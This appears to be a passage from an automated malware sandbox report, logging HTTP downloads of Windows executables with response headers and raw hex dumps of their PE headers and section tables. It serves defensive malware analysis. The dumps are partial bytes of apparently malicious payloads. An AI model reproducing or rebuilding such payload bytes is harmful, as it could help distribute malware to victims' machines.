54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 10:14:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 10:14:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 10:14:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 10:14:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 10:14:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 10:14:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 27 Nov 2024 10:14:58 GMTContent-Type: application/octet-streamContent-Length: 1915392Last-Modified: Wed, 27 Nov 2024 10:09:04 GMTConnection: keep-aliveETag: "6746efc0-1d3a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 10 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 4c 00 00 04 00 00 1e d3 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c fa 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc f9 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2b 00 00 b0 06 00 00 02 00 00 